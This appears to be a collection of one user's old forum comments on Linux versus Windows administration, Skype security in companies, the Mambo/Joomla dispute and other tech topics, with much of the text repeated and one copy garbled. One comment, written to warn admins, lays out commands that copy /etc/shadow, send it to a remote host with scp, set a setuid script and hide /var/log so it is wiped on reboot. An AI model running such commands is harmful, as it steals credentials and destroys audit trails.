What happens if a lot of Linux/Mac users give Microsoft a bad rating. Doesn't this mean that they should have reduced bandwidth? What about all of those who still use Windows but hate MS because Word just ate their essay, Powerpoint destroyed the presentation that is about to happen in a few hours. I can see this raising very interesting prospects, just need a large enough group of people.
But MS probably have insulated themselves against it anyway...
1) Create sessions with detailed criteria and ignore lists
Not sure how to do this in a GUI and I haven't used BC enough to need this, but it is possible to use a lot of the Unix style command line stuff to generate a very fine level of precision. In fact the Joomla! build scripts are just shell scripts that utilizes grep, find, sed, svn, tar, install (allows auto directory create and file perm set in one hit) and curl to do their job. It takes an entire Joomla! tree and then builds patch packages. I think thats pretty much a detailed 'ignore list' given that it does things automatically and on the fly.
2) Connect to FTP server to compare a local directory
Well, on Mac this isn't an issue (nor is it really for Linux) as you can easily mount an FTP server into the file system and have the computer translate this for you. Novell had a product called 'netdrive' which did a similar thing but not incredibly well (I had issues running eclipse on an ftp server through it, for most operations it worked perfectly fine), but they stopped (and perhaps started) distributing this with Novell Netware 4 I believe and now offer other tools.
3) Diff and Merge
Haven't seen a diff app not have the ability to do it (obviously its diff and patch in Linux), but I've seen BC at work and there are a lot of features I've never thought about trying in other systems that I need to play with:)
I'm not sure about Microsoft but the Google Enterprise Search has been around for a few years now, which would really mean that they're already into corporate searching. Perhaps Microsoft should actually release a product instead of being a blowhard?
It may be due to the global Google server infrastructure. The page will work within the States because thats where it was created (well duh, but follow me on this one) but it hasn't been distributed to Google's transparent mirrors all over the world (you never notice them do you?). The issue you may (imho) be finding is that the server push hasn't occured to all servers around the world, only the US ones. This explains why the US and Caneda can access it, but not particularly anyone else. Everyone else gets a file not found, not a forbidden, because the server doesn't know it exists (yet). This may be fixed when Google does a server push sometime in the next 24 hours or so.
I hope you're talking in a purely user-based sense, because being a Linux admin is not remotely simple.
And being a Windows admin is easier? I have a manger who has 'workarounds' for deploying Windows systems and procedures that shouldn't be violated. I look at them and laugh since I see none of these under my Debian boxes -- but yet he persists. Our primary issue is that we're tied down to an admittedly poorly designed Windows application that somehow got to manage our entire core business except for assets. The people maintaining it says its crap, the systems architect thinks its crap and even the manager of it thinks its crap. And thats whats holding us back. They're presently rewriting into.Net, and when I get a copy of their beta I will be deploying it on a Linux box to see if it can run, and if it runs equivalently to the way the Windows one will work, it will be deployed on the desktop. Users will be trained, but at present we're training them for our new SOE for Windows XP. Windows administration, just like Linux administration takes time. Both are difficult, but funnily enough the MS Hotmail people won't run anything that doesn't run in a console (or so I've read)...being a Windows admin can also mean sitting on the good ole command prompt.
And believe it or not, but there are a lot of people in the world who would rather be doing things other than searching the web for the magic script to fix their problem or fiddling with config files to get something working.
You're right and I'm one of them. Its fiddly, its painful and its not the way it should be. But how many 'registry hacks' have come out for Windows to get certain things 'working'. This same problem exists in Windows, but most users have just become desensitized by it. Have you ever had to go through the patch list to find which one changed which setting that broke which app? I see it all the time, in fact we have a NAS box at work that doesn't work with Windows file sharing because Microsoft changed their implementation. This NAS box was certified to work wih Windows, but changes made by MS make it useless. Thankfully it has NFS which redeems the box meaning we can get some use out of it, but one of our back end guys wasted his time trying to work out why this NAS mysteriously stopped working after Support finally deployed the patch. Oops.
The person couldn't be bothered learning how to use another system after investing a large amount of time in Windows. I see it all the time. But perhaps what most gets me down is the fact that I go to my local Uni and see overseas students who have had little experience with a computer who say that they struggled harder with Windows than they did with learning Linux and both systems took the same amount of time to learn.
This only proves that those who can't make the switch perhaps can't be bothered or just plain can't do it. And if I had an employee in either camp, I'd send them packing. Not being bothered isn't a legit excuse and not being able to do something just means more training or they are incapable of doing their job - which really isn't the problem for the majority of people, which leaves us with the fact they can't be bothered.
You could atleast read the comments section before posting...or look at the Wine cvs. I refer to this post: http://it.slashdot.org/comments.pl?sid=173205&cid= 14412807 which was made 10 minutes before yours (surely it did not take you ten minutes to write that comment). Its not a question of 'if' its a statement of 'is' now.
If you're an admin, do you allow your users basic SUDO rights like chmod, cp, mv, etc (assuming all SUDO commands are logged to a remote system)? The hard way: $ sudo cp/etc/shadow/tmp/researchfile $ scp/tmp/researchfile otheruser@randomhost:~ $ echo "/usr/sbin/shutdown -r now" > myscript $ sudo chmod +s myscript $ sudo mv/var/log/tmp $./myscript
Really the long way of doing things, too much sudo! Lets rewrite 'myscript'
Hell, I didn't even need to use 'cp' and 'mv' with sudo, only one entry, a permission change! (This is also assuming that you're running a system which is configured to wipe/tmp as part of the power cycle)
No sudo on chown or chmod or chgrp. No sudo on cp or mv (especially stickybit on directories set!). You have to have great trust in your users because those three commands just lost you a system...oops.
If you're an admin, do you allow your users basic SUDO rights like chmod, cp, mv, etc (assuming all SUDO commands are logged to a remote system)?
The hard way:
$ sudo cp/etc/shadow/tmp/researchfile
$ scp/tmp/researchfile otheruser@randomhost:~
$ echo "/usr/sbin/shutdown -r now" > myscript
$ sudo chmod +s myscript
$ sudo mv/var/log/tmp
$./myscript
Really the long way of doing things, too much sudo! Lets rewrite 'myscript'
$ cat myscript
cp/etc/shadow/tmp/researchfile
scp/tmp/researchfile otheruser@randomhost:~
mv/var/log/tmp/usr/sbin/shutdown -r now
$ sudo chmod +s myscript
$./myscript
Hell, I didn't even need to use 'cp' and 'mv' with sudo, only one entry, a permission change! (This is also assuming that you're running a system which is configured to wipe/tmp as part of the power cycle)
No sudo on chown or chmod or chgrp. No sudo on cp or mv (especially stickybit on directories set!). You have to have great trust in your users because those three commands just lost you a system...oops.
"Companies that are already banning peer-to-peer applications, such as instant messaging, should add Skype to its list of unsanctioned software programs,"
As stated elsewhere, if you're banning those, you'll be banning this. Plain consistency.
"Unless an organization specifies instances where Skype use is acceptable, and outlines rules for client-side Skype settings, that's 17 million opportunities for a hacker to invade a corporate network."
How does this differ to email and internet acceptable use policies? Its another service like everything else, even the same as your telephone. My company would kill me for making massive STD calls, thats acceptable use. A properly configured network isn't going to magically let a hacker in either, setting a policy doesn't change this.
Skype is not standards-compliant, allowing it and any vulnerability to pass through corporate firewalls.
Windows isn't standards compliant, IE most definatley isn't and has a lot more vulnerabilities against its name. Short of the Skype servers being compromised, I don't see this as an issue.
Skype's encryption is closed source and prone to man-in-the-middle attacks. There are also some unanswered questions about how well the keys are managed.
Who here has seen Microsoft or RSA's implementation of security? MITM attacks occur on any platform, people trust entire network security (including remote access) on closed source encryption...
Enterprises using Skype risk a communication barrier with countries and institutions that have already banned the service.
Well there is the good ole telephone to use to communicate, but if I can get a cheap international call I'm going to use it do you think?
Skype is undetectable, untraceable, and unauditable, putting organizations that are subject to compliance laws at risk.
Well if I run packet sniffers to track these things I believe thats more than enough 'auditing' to get me through compliance laws. Logging everything in its entirety should be enough...can you do that with a regular telephone easily?
The question of whether VoIP calls constitute a business record is a legal quagmire.
Throwing Skype into the communications mix further clouds the issue.
No the point is that it hasn't been legally tested. The same issue was there for telephones and now thats been tested nobody has any issues with it. New technology has these, you'll find most companies get over it.
"The bottom line is that even a mediocre hacker could take advantage of a Skype vulnerability. If you are going to use Skype within enterprise, manage it as you would any other IT service: with policy and diligence."
Manage it like any other IT service. Thats just common sense. A mediocre hacker can take advantage of an IE vulnerability...just wait, THEY HAVE! Oh no, lets not use IE either because its a security vulernability that has been REPEATEDLY demonstrated. Err, damn. If you don't manage your resources, any resource, you're setting yourself up for failure.
Now we do use it in our enterprise to keep in contact with each other. The fact that I don't have to be in the office to get in contact with system administrators, network administators, other programmers and the people I work with. Its pure text, but it allows us to do voice. We'd pay through the roof for some of the things that Skype has saved us. One of our senior managers left the country and we got back in touch with him over an issue using Skype. We had a longish call at little to no expense where it would have cost us an arm and a leg to make an international call. This is a non issue for us, it may scare people (FUD, who else does that..) but at the end of the day, VoIP is here to stay.
On a closing note, how does VoIP effect companies that internally are pure VoIP then bridge to the normal PSTN? Does that mean all their calls are worthless even though externally it looks like a normal switch? I think not...
Do you believe that the state of software security is better today than five or 10 years ago?
Mitnick: No, though it depends on what software you are talking about and what the company has done. I can't make one statement for the whole industry. Take Microsoft, for example. I think their current code base is more secure than Windows NT was.
I remember those days where all of these vulnerabilities were being found and Microsoft did squat...until people started attacking their own servers. Then hotfixes were invented, something that has stayed with Windows ever since - something that every other server environment seems to be absent of, I wonder why?
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I'm meta moderating this as it came up as flamebait and went "err wtf". As with my siblings post, you made me laugh because it is funny and true, and a fact that escapes some people. They didn't qualify their statement, so nice call,
Keep up the good work.
More to the point 95% of those on the internet not only don't give a damn but don't even know any of this. people are stupid, they don't realize that they have a choice. thats why people develop their 'im cliques' (see below, another comment). people don't realize because people are content. it works. the fact they use windows is probably evidence of this as well...
Well it worked for me until I needed to validate my identity. Does this mean that FEMA has direct access to all residents SSN's and details? This raises security concerns for me. It didn't once stop me because I was using a.au ip address, not sure if thats a good or bad idea...
Firefox 1.0.6 'IE6 Windows XP' and Debian Sid. Only one element (dropdown) failed to update properly and it fixed itself when I clicked submit and it complained it was empty. Appears to be three years old though, so I guess that they've done alright with it!
And who are you to state this? You must be a member of either the dev team or Miro, and I can take my guess here.
But the reverse question is, did Miro ask the Dev Team? No, and this has been stated by BOTH sides. Miro created the Foundation, rules and the like without even consulting the people who worked on the product. To me, that sounds like a bit of backstabbing on the part of Miro...
And yes, I agree it would have been resolved if they had been open to discussion, they being Miro. I would be equally pissed off if you set something up on your own and then, in the case of Brian and Andrew, but my name to something that I didn't know anything about. Where was the discussion there? Letting people find out via a press release is not discussion items with people, its telling them.
If the Foundation had of been set up the way the MSC and the Core Devs wanted, this would have been good, but the damage has been done by Miro. They can't take it back and they are only trying to make ammends. They aren't transferring the copyright far, considering that they control the Mambo Foundation, so who is the real winner? Not open source. OpenSourceMatters is where the new work is going and that is where I am going to stake my claim and pitch my tent.
Well, under DReaM we have detected copyright violations, we wil now proceed to remove the offending chunks of your brain. You didn't need that now did you?
DRM, coming to a mind reader near you!
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If you look about the web, Australia has already announce trials in Canberra for it and in some other places the progress, I believe, is more advanced.
I'm an Australian and I hear plenty about it. Theres a thing called the Kyoto convention which is supposed to reduce green house gasses. The US may not have heard about it because you guys haven't ratified it and are screaming at the top of your lungs holding your hands against your ears trying to ignore it...don't worry the Australian govt is still the faithful servant of the US govt and is following. Funnily enough, global warming _is_ an issue for people, especially those stuck on 1m high islands which face losing their entire country beause of global warming.
And to add to the ice age idea, sure there is an ice age coming, but research is beginning to show that global warming rapidly increases causing ice and that to melt causing the release of gasses to increase global warming to the point where it flips over and causes an ice age. Tricky stuff!
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What happens if a lot of Linux/Mac users give Microsoft a bad rating. Doesn't this mean that they should have reduced bandwidth? What about all of those who still use Windows but hate MS because Word just ate their essay, Powerpoint destroyed the presentation that is about to happen in a few hours. I can see this raising very interesting prospects, just need a large enough group of people.
But MS probably have insulated themselves against it anyway...
1) Create sessions with detailed criteria and ignore lists Not sure how to do this in a GUI and I haven't used BC enough to need this, but it is possible to use a lot of the Unix style command line stuff to generate a very fine level of precision. In fact the Joomla! build scripts are just shell scripts that utilizes grep, find, sed, svn, tar, install (allows auto directory create and file perm set in one hit) and curl to do their job. It takes an entire Joomla! tree and then builds patch packages. I think thats pretty much a detailed 'ignore list' given that it does things automatically and on the fly. 2) Connect to FTP server to compare a local directory Well, on Mac this isn't an issue (nor is it really for Linux) as you can easily mount an FTP server into the file system and have the computer translate this for you. Novell had a product called 'netdrive' which did a similar thing but not incredibly well (I had issues running eclipse on an ftp server through it, for most operations it worked perfectly fine), but they stopped (and perhaps started) distributing this with Novell Netware 4 I believe and now offer other tools. 3) Diff and Merge Haven't seen a diff app not have the ability to do it (obviously its diff and patch in Linux), but I've seen BC at work and there are a lot of features I've never thought about trying in other systems that I need to play with :)
I'm not sure about Microsoft but the Google Enterprise Search has been around for a few years now, which would really mean that they're already into corporate searching. Perhaps Microsoft should actually release a product instead of being a blowhard?
It may be due to the global Google server infrastructure. The page will work within the States because thats where it was created (well duh, but follow me on this one) but it hasn't been distributed to Google's transparent mirrors all over the world (you never notice them do you?). The issue you may (imho) be finding is that the server push hasn't occured to all servers around the world, only the US ones. This explains why the US and Caneda can access it, but not particularly anyone else. Everyone else gets a file not found, not a forbidden, because the server doesn't know it exists (yet). This may be fixed when Google does a server push sometime in the next 24 hours or so.
or with a russian spammer if you're in Greece?
Well we know Russian spammer and Israel now, you end up shutting down your company...poor guys.
I hope you're talking in a purely user-based sense, because being a Linux admin is not remotely simple.
And being a Windows admin is easier? I have a manger who has 'workarounds' for deploying Windows systems and procedures that shouldn't be violated. I look at them and laugh since I see none of these under my Debian boxes -- but yet he persists. Our primary issue is that we're tied down to an admittedly poorly designed Windows application that somehow got to manage our entire core business except for assets. The people maintaining it says its crap, the systems architect thinks its crap and even the manager of it thinks its crap. And thats whats holding us back. They're presently rewriting into .Net, and when I get a copy of their beta I will be deploying it on a Linux box to see if it can run, and if it runs equivalently to the way the Windows one will work, it will be deployed on the desktop. Users will be trained, but at present we're training them for our new SOE for Windows XP. Windows administration, just like Linux administration takes time. Both are difficult, but funnily enough the MS Hotmail people won't run anything that doesn't run in a console (or so I've read)...being a Windows admin can also mean sitting on the good ole command prompt.
And believe it or not, but there are a lot of people in the world who would rather be doing things other than searching the web for the magic script to fix their problem or fiddling with config files to get something working.
You're right and I'm one of them. Its fiddly, its painful and its not the way it should be. But how many 'registry hacks' have come out for Windows to get certain things 'working'. This same problem exists in Windows, but most users have just become desensitized by it. Have you ever had to go through the patch list to find which one changed which setting that broke which app? I see it all the time, in fact we have a NAS box at work that doesn't work with Windows file sharing because Microsoft changed their implementation. This NAS box was certified to work wih Windows, but changes made by MS make it useless. Thankfully it has NFS which redeems the box meaning we can get some use out of it, but one of our back end guys wasted his time trying to work out why this NAS mysteriously stopped working after Support finally deployed the patch. Oops.
The person couldn't be bothered learning how to use another system after investing a large amount of time in Windows. I see it all the time. But perhaps what most gets me down is the fact that I go to my local Uni and see overseas students who have had little experience with a computer who say that they struggled harder with Windows than they did with learning Linux and both systems took the same amount of time to learn.
This only proves that those who can't make the switch perhaps can't be bothered or just plain can't do it. And if I had an employee in either camp, I'd send them packing. Not being bothered isn't a legit excuse and not being able to do something just means more training or they are incapable of doing their job - which really isn't the problem for the majority of people, which leaves us with the fact they can't be bothered.
Lazy user syndrome.
You could atleast read the comments section before posting...or look at the Wine cvs. I refer to this post: http://it.slashdot.org/comments.pl?sid=173205&cid= 14412807 which was made 10 minutes before yours (surely it did not take you ten minutes to write that comment). Its not a question of 'if' its a statement of 'is' now.
If you're an admin, do you allow your users basic SUDO rights like chmod, cp, mv, etc (assuming all SUDO commands are logged to a remote system)? /etc/shadow /tmp/researchfile /tmp/researchfile otheruser@randomhost:~ /var/log /tmp ./myscript
/etc/shadow /tmp/researchfile /tmp/researchfile otheruser@randomhost:~ /var/log /tmp /usr/sbin/shutdown -r now ./myscript
/tmp as part of the power cycle)
The hard way:
$ sudo cp
$ scp
$ echo "/usr/sbin/shutdown -r now" > myscript
$ sudo chmod +s myscript
$ sudo mv
$
Really the long way of doing things, too much sudo! Lets rewrite 'myscript'
$ cat myscript
cp
scp
mv
$ sudo chmod +s myscript
$
Hell, I didn't even need to use 'cp' and 'mv' with sudo, only one entry, a permission change! (This is also assuming that you're running a system which is configured to wipe
No sudo on chown or chmod or chgrp. No sudo on cp or mv (especially stickybit on directories set!). You have to have great trust in your users because those three commands just lost you a system...oops.
(grr, forgot to switch to plain old text!)
If you're an admin, do you allow your users basic SUDO rights like chmod, cp, mv, etc (assuming all SUDO commands are logged to a remote system)? The hard way: $ sudo cp /etc/shadow /tmp/researchfile
$ scp /tmp/researchfile otheruser@randomhost:~
$ echo "/usr/sbin/shutdown -r now" > myscript
$ sudo chmod +s myscript
$ sudo mv /var/log /tmp
$ ./myscript
Really the long way of doing things, too much sudo! Lets rewrite 'myscript'
$ cat myscript
cp /etc/shadow /tmp/researchfile
scp /tmp/researchfile otheruser@randomhost:~
mv /var/log /tmp /usr/sbin/shutdown -r now
$ sudo chmod +s myscript
$ ./myscript
Hell, I didn't even need to use 'cp' and 'mv' with sudo, only one entry, a permission change! (This is also assuming that you're running a system which is configured to wipe /tmp as part of the power cycle)
No sudo on chown or chmod or chgrp. No sudo on cp or mv (especially stickybit on directories set!). You have to have great trust in your users because those three commands just lost you a system...oops.
A similar product is available using Fuse under Linux called Phonebook: http://www.freenet.org.nz/phonebook/ and fuse: http://fuse.sf.net/
"Companies that are already banning peer-to-peer applications, such as instant messaging, should add Skype to its list of unsanctioned software programs,"
As stated elsewhere, if you're banning those, you'll be banning this. Plain consistency.
"Unless an organization specifies instances where Skype use is acceptable, and outlines rules for client-side Skype settings, that's 17 million opportunities for a hacker to invade a corporate network."
How does this differ to email and internet acceptable use policies? Its another service like everything else, even the same as your telephone. My company would kill me for making massive STD calls, thats acceptable use. A properly configured network isn't going to magically let a hacker in either, setting a policy doesn't change this.
Skype is not standards-compliant, allowing it and any vulnerability to pass through corporate firewalls.
Windows isn't standards compliant, IE most definatley isn't and has a lot more vulnerabilities against its name. Short of the Skype servers being compromised, I don't see this as an issue.
Skype's encryption is closed source and prone to man-in-the-middle attacks. There are also some unanswered questions about how well the keys are managed.
Who here has seen Microsoft or RSA's implementation of security? MITM attacks occur on any platform, people trust entire network security (including remote access) on closed source encryption...
Enterprises using Skype risk a communication barrier with countries and institutions that have already banned the service.
Well there is the good ole telephone to use to communicate, but if I can get a cheap international call I'm going to use it do you think?
Skype is undetectable, untraceable, and unauditable, putting organizations that are subject to compliance laws at risk.
Well if I run packet sniffers to track these things I believe thats more than enough 'auditing' to get me through compliance laws. Logging everything in its entirety should be enough...can you do that with a regular telephone easily?
The question of whether VoIP calls constitute a business record is a legal quagmire.
Throwing Skype into the communications mix further clouds the issue.
No the point is that it hasn't been legally tested. The same issue was there for telephones and now thats been tested nobody has any issues with it. New technology has these, you'll find most companies get over it."The bottom line is that even a mediocre hacker could take advantage of a Skype vulnerability. If you are going to use Skype within enterprise, manage it as you would any other IT service: with policy and diligence."
Manage it like any other IT service. Thats just common sense. A mediocre hacker can take advantage of an IE vulnerability...just wait, THEY HAVE! Oh no, lets not use IE either because its a security vulernability that has been REPEATEDLY demonstrated. Err, damn. If you don't manage your resources, any resource, you're setting yourself up for failure.
Now we do use it in our enterprise to keep in contact with each other. The fact that I don't have to be in the office to get in contact with system administrators, network administators, other programmers and the people I work with. Its pure text, but it allows us to do voice. We'd pay through the roof for some of the things that Skype has saved us. One of our senior managers left the country and we got back in touch with him over an issue using Skype. We had a longish call at little to no expense where it would have cost us an arm and a leg to make an international call. This is a non issue for us, it may scare people (FUD, who else does that..) but at the end of the day, VoIP is here to stay.
On a closing note, how does VoIP effect companies that internally are pure VoIP then bridge to the normal PSTN? Does that mean all their calls are worthless even though externally it looks like a normal switch? I think not...
Do you believe that the state of software security is better today than five or 10 years ago? Mitnick: No, though it depends on what software you are talking about and what the company has done. I can't make one statement for the whole industry. Take Microsoft, for example. I think their current code base is more secure than Windows NT was.
I remember those days where all of these vulnerabilities were being found and Microsoft did squat...until people started attacking their own servers. Then hotfixes were invented, something that has stayed with Windows ever since - something that every other server environment seems to be absent of, I wonder why?
I'm meta moderating this as it came up as flamebait and went "err wtf". As with my siblings post, you made me laugh because it is funny and true, and a fact that escapes some people. They didn't qualify their statement, so nice call, Keep up the good work.
More to the point 95% of those on the internet not only don't give a damn but don't even know any of this. people are stupid, they don't realize that they have a choice. thats why people develop their 'im cliques' (see below, another comment). people don't realize because people are content. it works. the fact they use windows is probably evidence of this as well...
if i ran as root, why the hell do i have to keep entering my password to install these things?
Well it worked for me until I needed to validate my identity. Does this mean that FEMA has direct access to all residents SSN's and details? This raises security concerns for me. It didn't once stop me because I was using a .au ip address, not sure if thats a good or bad idea...
Firefox 1.0.6 'IE6 Windows XP' and Debian Sid. Only one element (dropdown) failed to update properly and it fixed itself when I clicked submit and it complained it was empty. Appears to be three years old though, so I guess that they've done alright with it!
And who are you to state this? You must be a member of either the dev team or Miro, and I can take my guess here. But the reverse question is, did Miro ask the Dev Team? No, and this has been stated by BOTH sides. Miro created the Foundation, rules and the like without even consulting the people who worked on the product. To me, that sounds like a bit of backstabbing on the part of Miro... And yes, I agree it would have been resolved if they had been open to discussion, they being Miro. I would be equally pissed off if you set something up on your own and then, in the case of Brian and Andrew, but my name to something that I didn't know anything about. Where was the discussion there? Letting people find out via a press release is not discussion items with people, its telling them.
They are coming up with a new name, they just haven't announced it yet, be patient and stay tuned to opensourcematters!
If the Foundation had of been set up the way the MSC and the Core Devs wanted, this would have been good, but the damage has been done by Miro. They can't take it back and they are only trying to make ammends. They aren't transferring the copyright far, considering that they control the Mambo Foundation, so who is the real winner? Not open source. OpenSourceMatters is where the new work is going and that is where I am going to stake my claim and pitch my tent.
Well, under DReaM we have detected copyright violations, we wil now proceed to remove the offending chunks of your brain. You didn't need that now did you? DRM, coming to a mind reader near you!
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Rumour has it that you can use food to block most forms of dangerous radiation on the trip to mars! Food ain't physical now is it...
If you look about the web, Australia has already announce trials in Canberra for it and in some other places the progress, I believe, is more advanced.
I'm an Australian and I hear plenty about it. Theres a thing called the Kyoto convention which is supposed to reduce green house gasses. The US may not have heard about it because you guys haven't ratified it and are screaming at the top of your lungs holding your hands against your ears trying to ignore it...don't worry the Australian govt is still the faithful servant of the US govt and is following. Funnily enough, global warming _is_ an issue for people, especially those stuck on 1m high islands which face losing their entire country beause of global warming. And to add to the ice age idea, sure there is an ice age coming, but research is beginning to show that global warming rapidly increases causing ice and that to melt causing the release of gasses to increase global warming to the point where it flips over and causes an ice age. Tricky stuff!